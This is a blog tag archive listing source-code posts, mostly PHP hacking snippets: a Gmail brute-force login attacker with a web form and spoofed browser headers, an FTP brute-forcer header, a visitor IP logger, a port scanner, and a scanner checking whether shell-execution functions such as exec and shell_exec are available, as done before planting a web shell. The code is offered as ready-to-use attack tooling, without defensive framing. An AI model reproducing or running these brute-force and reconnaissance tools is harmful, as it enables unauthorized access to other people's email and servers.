Tags » Source Code

Awesome Colouring App iOS

Overview

New Version features :

Coloring app is now compatible with iOS 7 version with few more extra features.

  • Included 10 extra pages for Coloring (Added new in-app purchase in Free version).
  • 302 more words
Source Code

PHP GMail Bruteforce

This is a source code that bruteforces GMail.

<?php

//////////////////////
////Gmail-Brute//////
///////////////////////




////////////////////////
# This script was created to Brute Force G-Mail Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
////////////////////////

$dic ="your Dictionary file here.txt";

///////////////////////



echo "
<title>Gmail Brute Force Attacker</title>
</head>
<style type='text/css'>
body {


font:Verdana, Arial, Helvetica, sans-serif;
font-size:12px;
border-color:#FFFFFF;
}
.raster_table {
background-color:#444444;
border-color:#CCCCCC;
}
.alert {
    color:#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Gmail Brute Force Attacker</b></div>
        </td>
    </tr>
</table>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'>

            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
            &nbsp;
            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
                <form method='post'>
                    Username to brute:<br>
                    <input name='username' type='text' /><br><br>
                    <input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br>
                </form>
            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
            &nbsp;
            </div>
        </td>
    </tr>
</table>
";

// Sets variables and retrives google error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
    $username = $_POST['username'];
    $headers = array(
    "Host: mail.google.com",
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4",
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
    "Accept-Language: en-us,en;q=0.5",
    "Accept-Encoding: text", # No gzip, it only clutters your code! 605 more words
Source Codes &amp; Snippets

PHP IP Logger

This PHP IP Logger snippet will log the IP address of anyone that visits a page where the code is present.

<?php
$logfile= '/full_path_to/log.html';
$IP = $_SERVER['REMOTE_ADDR'];
$logdetails= date("F j, Y, g:i a") . 47 more words
Source Codes &amp; Snippets

PHP Port Scanner

PHP Portscanner source code.

Originally written by “Doz”.

<?php

$host = $_POST['host'];
$start = $_POST['start'];
$end = $_POST['end'];
$proto = $_POST['protocol'];
$serv = $_POST['services'];

?>

<html><title>HF communities</title>
<body>
<center><h1>PORT SCANNER</h1><br/>
<p><form name='scanner' method='post' action='<?php echo $PHP_SELF; ?>'>
Host name or IP:
<input type='text' name='host' value='<?php echo $host; ?>' /><br/>Starting Port: <input type='text' name='start' value='<?php echo $start; ?>' /><br/>Ending Port: <input type='text' name='end' value='<?php echo $end; ?>' /><br/>Protocol: <select name='protocol'>
<option value='tcp'>tcp</option>
<option value='udp'>udp</option>
</select>
<br/>Show services: <input name='services' type='checkbox' value='yes' /><br/><input type='submit' value='Scan Ports' />




<?php

if(isset($host) && isset($start) && isset($end) && isset($proto))
{
echo "<strong>Results:</strong>
";

for($current = $start; $current <= $end; $current++)
{
if($serv == "yes")
{
$service = getservbyport($current, $proto);
}

$result = fsockopen($host, $current, $errno, $errstr, 1);

if($serv == "yes")
{
echo "Port: <strong>".$current."</strong> is commonly used for: <strong>".$service."</strong> and was ";
}
else
{
echo "Port: <strong>".$current."</strong> was ";
}
if($result)
{
echo "<font color='green'><strong>OPEN</strong></font>
";
}

else
{
echo "<font color='red'><strong>CLOSED</strong></font>
";
}

}
}
?>
Source Codes &amp; Snippets

PHP Function Scanner

This code will determine and return to the user whether or not an array of functions are available.

function functionScan() {
    $list = array("passthru","exec","system","mail","escapeshellcmd","popen","proc_open","shell_exec","proc_terminate");
    for($i=0;$i<sizeof($list);$i++) {
        if(function_exists($list[$i])) {
            echo "<b>".$list[$i]."</b> <font color=green>available</font><br>";
        } else {
            echo "<b>".$list[$i]."</b> <font color=red>not available</font><br>";
        }
    }
}
functionScan();
Source Codes &amp; Snippets

(PHP) FTP Bruteforce

Source code for a PHP FTP Bruteforce by sunjester.

<?php
//ftp bruteforce
//sunjester
//http://mrsunjester.info/
//
// requires two txt files with a newline at the end of each. 161 more words
Source Codes &amp; Snippets